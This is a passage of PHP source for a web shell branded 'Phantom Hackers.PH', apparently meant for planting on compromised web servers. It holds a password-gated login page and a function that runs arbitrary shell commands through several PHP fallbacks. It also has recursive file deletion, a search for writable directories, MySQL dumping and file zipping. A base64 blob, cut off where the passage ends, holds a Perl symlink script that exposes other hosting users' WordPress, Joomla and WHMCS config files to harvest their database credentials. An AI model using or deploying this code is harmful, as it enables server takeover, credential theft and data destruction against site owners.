2849 for($i = $from; $i <= $to; $i++) {
2850 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2851 }
2852 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2853 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2854 }
2855 return $multipage;
2856}
2857// Login page
2858function loginpage() {
2859?>
2860<html>
2861<head>
2862
2863<body bgcolor=black>
2864
2865 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
2866<title>Phantom Hackers.PH</title>
2867<style type="text/css">
2868A:link {text-decoration: none; color: green }
2869A:visited {text-decoration: none;color:red}
2870A:active {text-decoration: none}
2871A:hover {text-decoration: underline; color: green;}
2872input, textarea, button
2873{
2874 font-size: 11pt;
2875 color: #FFFFFF;
2876 font-family: verdana, sans-serif;
2877 background-color: #000000;
2878 border-left: 2px dashed #8B0000;
2879 border-top: 2px dashed #8B0000;
2880 border-right: 2px dashed #8B0000;
2881 border-bottom: 2px dashed #8B0000;
2882}
2883
2884</style>
2885
2886 <BR><BR>
2887<div align=center >
2888
2889<div>
2890<font color=gray>
2891<center>
2892<img src="http://i41.tinypic.com/25kiyck.gif">
2893</center>
2894<br/><br/><br/>
2895
2896<form method="POST" action="">
2897 Password:<span style="font:20pt tahoma;"> </span><input name="password" type="password" size="20"><br/><br/>
2898 <input type="hidden" name="doing" value="login">
2899 <input type="submit" value="LETMEIN!">
2900 </form>
2901<BR>
2902<?php
2903echo "".$err_mess."";
2904?>
2905
2906 <B><font color=red>
2907
2908
2909
2910
2911
2912
2913</div>
2914
2915
2916 </fieldset>
2917
2918
2919
2920</head>
2921</html>
2922
2923
2924<?php
2925 exit;
2926
2927}//end loginpage()
2928
2929function execute($cfe) {
2930 $res = '';
2931 if ($cfe) {
2932 if(function_exists('exec')) {
2933 @exec($cfe,$res);
2934 $res = join("\n",$res);
2935 } elseif(function_exists('shell_exec')) {
2936 $res = @shell_exec($cfe);
2937 } elseif(function_exists('system')) {
2938 @ob_start();
2939 @system($cfe);
2940 $res = @ob_get_contents();
2941 @ob_end_clean();
2942 } elseif(function_exists('passthru')) {
2943 @ob_start();
2944 @passthru($cfe);
2945 $res = @ob_get_contents();
2946 @ob_end_clean();
2947 } elseif(@is_resource($f = @popen($cfe,"r"))) {
2948 $res = '';
2949 while(!@feof($f)) {
2950 $res .= @fread($f,1024);
2951 }
2952 @pclose($f);
2953 }
2954 }
2955 return $res;
2956}
2957function which($pr) {
2958 $path = execute("which $pr");
2959 return ($path ? $path : $pr);
2960}
2961
2962function cf($fname,$text){
2963 if($fp=@fopen($fname,'w')) {
2964 @fputs($fp,base64_decode($text));
2965 @fclose($fp);
2966 }
2967}
2968
2969// Debug
2970function debuginfo() {
2971 global $starttime;
2972 $mtime = explode(' ', microtime());
2973 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2974 echo 'Processed in '.$totaltime.' second(s)';
2975}
2976
2977// Function connect database
2978function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
2979 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
2980 p('<h2>Can not connect to MySQL server</h2>');
2981 exit;
2982 }
2983 if($link && $dbname) {
2984 if (!@mysql_select_db($dbname, $link)) {
2985 p('<h2>Database selected has error</h2>');
2986 exit;
2987 }
2988 }
2989 if($link && mysql_get_server_info() > '4.1') {
2990 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
2991 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2992 }
2993 }
2994 return $link;
2995}
2996
2997// Array strip
2998function s_array(&$array) {
2999 if (is_array($array)) {
3000 foreach ($array as $k => $v) {
3001 $array[$k] = s_array($v);
3002 }
3003 } else if (is_string($array)) {
3004 $array = stripslashes($array);
3005 }
3006 return $array;
3007}
3008
3009// HTML Strip
3010function html_clean($content) {
3011 $content = htmlspecialchars($content);
3012 $content = str_replace("\n", "<br />", $content);
3013 $content = str_replace(" ", " ", $content);
3014 $content = str_replace("\t", " ", $content);
3015 return $content;
3016}
3017
3018// Chmod
3019function getChmod($filepath){
3020 return substr(base_convert(@fileperms($filepath),10,8),-4);
3021}
3022
3023function getPerms($filepath) {
3024 $mode = @fileperms($filepath);
3025 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3026 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3027 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3028 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3029 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3030 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3031 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3032 else {$type = '?';}
3033
3034 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3035 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3036 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3037 $group['read'] = ($mode & 00040) ? 'r' : '-';
3038 $group['write'] = ($mode & 00020) ? 'w' : '-';
3039 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3040 $world['read'] = ($mode & 00004) ? 'r' : '-';
3041 $world['write'] = ($mode & 00002) ? 'w' : '-';
3042 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3043
3044 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3045 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3046 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3047
3048 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3049}
3050
3051function getUser($filepath) {
3052 if (function_exists('posix_getpwuid')) {
3053 $array = @posix_getpwuid(@fileowner($filepath));
3054 if ($array && is_array($array)) {
3055 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3056 }
3057 }
3058 return '';
3059}
3060
3061// Delete dir
3062function deltree($deldir) {
3063 $mydir=@dir($deldir);
3064 while($file=$mydir->read()) {
3065 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3066 @chmod($deldir.'/'.$file,0777);
3067 deltree($deldir.'/'.$file);
3068 }
3069 if (is_file($deldir.'/'.$file)) {
3070 @chmod($deldir.'/'.$file,0777);
3071 @unlink($deldir.'/'.$file);
3072 }
3073 }
3074 $mydir->close();
3075 @chmod($deldir,0777);
3076 return @rmdir($deldir) ? 1 : 0;
3077}
3078
3079// Background
3080function bg() {
3081 global $bgc;
3082 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3083}
3084
3085// Get path
3086function getPath($scriptpath, $nowpath) {
3087 if ($nowpath == '.') {
3088 $nowpath = $scriptpath;
3089 }
3090 $nowpath = str_replace('\\', '/', $nowpath);
3091 $nowpath = str_replace('//', '/', $nowpath);
3092 if (substr($nowpath, -1) != '/') {
3093 $nowpath = $nowpath.'/';
3094 }
3095 return $nowpath;
3096}
3097
3098// Get up path
3099function getUpPath($nowpath) {
3100 $pathdb = explode('/', $nowpath);
3101 $num = count($pathdb);
3102 if ($num > 2) {
3103 unset($pathdb[$num-1],$pathdb[$num-2]);
3104 }
3105 $uppath = implode('/', $pathdb).'/';
3106 $uppath = str_replace('//', '/', $uppath);
3107 return $uppath;
3108}
3109
3110// Config
3111function getcfg($varname) {
3112 $result = get_cfg_var($varname);
3113 if ($result == 0) {
3114 return 'No';
3115 } elseif ($result == 1) {
3116 return 'Yes';
3117 } else {
3118 return $result;
3119 }
3120}
3121
3122// Function name
3123function getfun($funName) {
3124 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3125}
3126
3127function GetList($dir){
3128 global $dirdata,$j,$nowpath;
3129 !$j && $j=1;
3130 if ($dh = opendir($dir)) {
3131 while ($file = readdir($dh)) {
3132 $f=str_replace('//','/',$dir.'/'.$file);
3133 if($file!='.' && $file!='..' && is_dir($f)){
3134 if (is_writable($f)) {
3135 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3136 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3137 $dirdata[$j]['dirchmod']=getChmod($f);
3138 $dirdata[$j]['dirperm']=getPerms($f);
3139 $dirdata[$j]['dirlink']=ue($dir);
3140 $dirdata[$j]['server_link']=$f;
3141 $dirdata[$j]['client_link']=ue($f);
3142 $j++;
3143 }
3144 GetList($f);
3145 }
3146 }
3147 closedir($dh);
3148 clearstatcache();
3149 return $dirdata;
3150 } else {
3151 return array();
3152 }
3153}
3154
3155function qy($sql) {
3156 //echo $sql.'<br>';
3157 $res = $error = '';
3158 if(!$res = @mysql_query($sql)) {
3159 return 0;
3160 } else if(is_resource($res)) {
3161 return 1;
3162 } else {
3163 return 2;
3164 }
3165 return 0;
3166}
3167
3168function q($sql) {
3169 return @mysql_query($sql);
3170}
3171
3172function fr($qy){
3173 mysql_free_result($qy);
3174}
3175
3176function sizecount($size) {
3177 if($size > 1073741824) {
3178 $size = round($size / 1073741824 * 100) / 100 . ' G';
3179 } elseif($size > 1048576) {
3180 $size = round($size / 1048576 * 100) / 100 . ' M';
3181 } elseif($size > 1024) {
3182 $size = round($size / 1024 * 100) / 100 . ' K';
3183 } else {
3184 $size = $size . ' B';
3185 }
3186 return $size;
3187}
3188
3189// Zip
3190class PHPZip{
3191 var $out='';
3192 function PHPZip($dir) {
3193 if (@function_exists('gzcompress')) {
3194 $curdir = getcwd();
3195 if (is_array($dir)) $filelist = $dir;
3196 else{
3197 $filelist=$this -> GetFileList($dir);//File list
3198 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
3199 }
3200 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
3201 else chdir($curdir);
3202 if (count($filelist)>0){
3203 foreach($filelist as $filename){
3204 if (is_file($filename)){
3205 $fd = fopen ($filename, 'r');
3206 $content = @fread ($fd, filesize($filename));
3207 fclose ($fd);
3208 if (is_array($dir)) $filename = basename($filename);
3209 $this -> addFile($content, $filename);
3210 }
3211 }
3212 $this->out = $this -> file();
3213 chdir($curdir);
3214 }
3215 return 1;
3216 }
3217 else return 0;
3218 }
3219
3220 // Show file list
3221 function GetFileList($dir){
3222 static $a;
3223 if (is_dir($dir)) {
3224 if ($dh = opendir($dir)) {
3225 while ($file = readdir($dh)) {
3226 if($file!='.' && $file!='..'){
3227 $f=$dir .'/'. $file;
3228 if(is_dir($f)) $this->GetFileList($f);
3229 $a[]=$f;
3230 }
3231 }
3232 closedir($dh);
3233 }
3234 }
3235 return $a;
3236 }
3237
3238 var $datasec = array();
3239 var $ctrl_dir = array();
3240 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
3241 var $old_offset = 0;
3242
3243 function unix2DosTime($unixtime = 0) {
3244 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
3245 if ($timearray['year'] < 1980) {
3246 $timearray['year'] = 1980;
3247 $timearray['mon'] = 1;
3248 $timearray['mday'] = 1;
3249 $timearray['hours'] = 0;
3250 $timearray['minutes'] = 0;
3251 $timearray['seconds'] = 0;
3252 } // end if
3253 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
3254 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
3255 }
3256
3257 function addFile($data, $name, $time = 0) {
3258 $name = str_replace('\\', '/', $name);
3259
3260 $dtime = dechex($this->unix2DosTime($time));
3261 $hexdtime = '\x' . $dtime[6] . $dtime[7]
3262 . '\x' . $dtime[4] . $dtime[5]
3263 . '\x' . $dtime[2] . $dtime[3]
3264 . '\x' . $dtime[0] . $dtime[1];
3265 eval('$hexdtime = "' . $hexdtime . '";');
3266 $fr = "\x50\x4b\x03\x04";
3267 $fr .= "\x14\x00";
3268 $fr .= "\x00\x00";
3269 $fr .= "\x08\x00";
3270 $fr .= $hexdtime;
3271
3272 $unc_len = strlen($data);
3273 $crc = crc32($data);
3274 $zdata = gzcompress($data);
3275 $c_len = strlen($zdata);
3276 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
3277 $fr .= pack('V', $crc);
3278 $fr .= pack('V', $c_len);
3279 $fr .= pack('V', $unc_len);
3280 $fr .= pack('v', strlen($name));
3281 $fr .= pack('v', 0);
3282 $fr .= $name;
3283 $fr .= $zdata;
3284 $fr .= pack('V', $crc);
3285 $fr .= pack('V', $c_len);
3286 $fr .= pack('V', $unc_len);
3287
3288 $this -> datasec[] = $fr;
3289 $new_offset = strlen(implode('', $this->datasec));
3290
3291 $cdrec = "\x50\x4b\x01\x02";
3292 $cdrec .= "\x00\x00";
3293 $cdrec .= "\x14\x00";
3294 $cdrec .= "\x00\x00";
3295 $cdrec .= "\x08\x00";
3296 $cdrec .= $hexdtime;
3297 $cdrec .= pack('V', $crc);
3298 $cdrec .= pack('V', $c_len);
3299 $cdrec .= pack('V', $unc_len);
3300 $cdrec .= pack('v', strlen($name) );
3301 $cdrec .= pack('v', 0 );
3302 $cdrec .= pack('v', 0 );
3303 $cdrec .= pack('v', 0 );
3304 $cdrec .= pack('v', 0 );
3305 $cdrec .= pack('V', 32 );
3306 $cdrec .= pack('V', $this -> old_offset );
3307 $this -> old_offset = $new_offset;
3308 $cdrec .= $name;
3309
3310 $this -> ctrl_dir[] = $cdrec;
3311 }
3312
3313 function file() {
3314 $data = implode('', $this -> datasec);
3315 $ctrldir = implode('', $this -> ctrl_dir);
3316 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
3317 }
3318}
3319
3320// Dump mysql
3321function sqldumptable($table, $fp=0) {
3322 $tabledump = "DROP TABLE IF EXISTS $table;\n";
3323 $tabledump .= "CREATE TABLE $table (\n";
3324
3325 $firstfield=1;
3326
3327 $fields = q("SHOW FIELDS FROM $table");
3328 while ($field = mysql_fetch_array($fields)) {
3329 if (!$firstfield) {
3330 $tabledump .= ",\n";
3331 } else {
3332 $firstfield=0;
3333 }
3334 $tabledump .= " $field[Field] $field[Type]";
3335 if (!empty($field["Default"])) {
3336 $tabledump .= " DEFAULT '$field[Default]'";
3337 }
3338 if ($field['Null'] != "YES") {
3339 $tabledump .= " NOT NULL";
3340 }
3341 if ($field['Extra'] != "") {
3342 $tabledump .= " $field[Extra]";
3343 }
3344 }
3345 fr($fields);
3346
3347 $keys = q("SHOW KEYS FROM $table");
3348 while ($key = mysql_fetch_array($keys)) {
3349 $kname=$key['Key_name'];
3350 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3351 $kname="UNIQUE|$kname";
3352 }
3353 if(!is_array($index[$kname])) {
3354 $index[$kname] = array();
3355 }
3356 $index[$kname][] = $key['Column_name'];
3357 }
3358 fr($keys);
3359
3360 while(list($kname, $columns) = @each($index)) {
3361 $tabledump .= ",\n";
3362 $colnames=implode($columns,",");
3363
3364 if ($kname == "PRIMARY") {
3365 $tabledump .= " PRIMARY KEY ($colnames)";
3366 } else {
3367 if (substr($kname,0,6) == "UNIQUE") {
3368 $kname=substr($kname,7);
3369 }
3370 $tabledump .= " KEY $kname ($colnames)";
3371 }
3372 }
3373
3374 $tabledump .= "\n);\n\n";
3375 if ($fp) {
3376 fwrite($fp,$tabledump);
3377 } else {
3378 echo $tabledump;
3379 }
3380
3381 $rows = q("SELECT * FROM $table");
3382 $numfields = mysql_num_fields($rows);
3383 while ($row = mysql_fetch_array($rows)) {
3384 $tabledump = "INSERT INTO $table VALUES(";
3385
3386 $fieldcounter=-1;
3387 $firstfield=1;
3388 while (++$fieldcounter<$numfields) {
3389 if (!$firstfield) {
3390 $tabledump.=", ";
3391 } else {
3392 $firstfield=0;
3393 }
3394
3395 if (!isset($row[$fieldcounter])) {
3396 $tabledump .= "NULL";
3397 } else {
3398 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3399 }
3400 }
3401
3402 $tabledump .= ");\n";
3403
3404 if ($fp) {
3405 fwrite($fp,$tabledump);
3406 } else {
3407 echo $tabledump;
3408 }
3409 }
3410 fr($rows);
3411 if ($fp) {
3412 fwrite($fp,"\n");
3413 } else {
3414 echo "\n";
3415 }
3416}
3417
3418function ue($str){
3419 return urlencode($str);
3420}
3421
3422function p($str){
3423 echo $str."\n";
3424}
3425
3426function tbhead() {
3427 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
3428}
3429function tbfoot(){
3430 p('</table>');
3431}
3432
3433function makehide($name,$value=''){
3434 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
3435}
3436
3437function makeinput($arg = array()){
3438 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
3439 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
3440 !$arg['type'] && $arg['type'] = 'text';
3441 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3442 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
3443 if ($arg['newline']) {
3444 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
3445 } else {
3446 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
3447 }
3448}
3449
3450function makeselect($arg = array()){
3451 if ($arg['onchange']) {
3452 $onchange = 'onchange="'.$arg['onchange'].'"';
3453 }
3454 $arg['title'] = $arg['title'] ? $arg['title'] : '';
3455 if ($arg['newline']) p('<p>');
3456 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
3457 if (is_array($arg['option'])) {
3458 foreach ($arg['option'] as $key=>$value) {
3459 if ($arg['selected']==$key) {
3460 p("<option value=\"$key\" selected>$value</option>");
3461 } else {
3462 p("<option value=\"$key\">$value</option>");
3463 }
3464 }
3465 }
3466 p("</select>");
3467 if ($arg['newline']) p('</p>');
3468}
3469function formhead($arg = array()) {
3470 !$arg['method'] && $arg['method'] = 'post';
3471 !$arg['action'] && $arg['action'] = $self;
3472 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
3473 !$arg['name'] && $arg['name'] = 'form1';
3474 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
3475 if ($arg['title']) {
3476 p('<h2>'.$arg['title'].' »</h2>');
3477 }
3478}
3479
3480function maketext($arg = array()){
3481 !$arg['cols'] && $arg['cols'] = 100;
3482 !$arg['rows'] && $arg['rows'] = 25;
3483 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3484 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
3485}
3486
3487function formfooter($name = ''){
3488 !$name && $name = 'submit';
3489 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
3490 p('</form>');
3491}
3492
3493function formfoot(){
3494 p('</form>');
3495}
3496
3497// Exit
3498function pr($a) {
3499 echo '<pre>';
3500 print_r($a);
3501 echo '</pre>';
3502}
3503$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlBoYW50b20gSGFja2Vycy5QSCBTeW1saW5rPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmV3U3R5bGUxIHsNCiBmb250LWZhbWlseTogdGFob21hLCB2ZXJkYW5hLCBBcmlhbDsNCiBmb250LXNpemU6IG1lZGl1bTsNCiBjb2xvcjogI0ZGRkZGRjsNCiBiYWNrZ3JvdW5kLWNvbG9yOiAjNjY2NjY2Ow0KIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gaG9tZS50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13b3JkcHJlc3MudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2ViL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzIC0gd2ViLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1NTSS5waHAnLCRrb2xhLictIEMgTSBGIC50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TU0kucGhwJywka29sYS4nLSBDIE0gRiAtIGZvcnVtLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCLnR4dCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRrb2xhLictIE15QkIgLSBmb3J1bS50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictIE90aGVyLnR4dCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRrb2xhLictIEJhbGl0YmFuZy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50cy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudC50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZ3MudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIHdobWNzIC0gd2htY3MudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG0gLSB3aG0udHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIFZCdWxsZXRpbiAtIGZvcnVtLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwJywka29sYS4nCS0gUGhwQkIgLSBmb3J1bS50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIHdobWMgLSB3aG1jLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywka29sYS4nCS0gd2htY3MyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicJLW1hbmdld2htY3MudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicJLW15c2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcG9ydC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcG9ydHMudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tbWVyY2VzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3Atc2hvcHBpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zYWxlLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB3cC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3d29yZHByZXNzIC0gd3AgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIGJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1wcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtd29yZHByZXN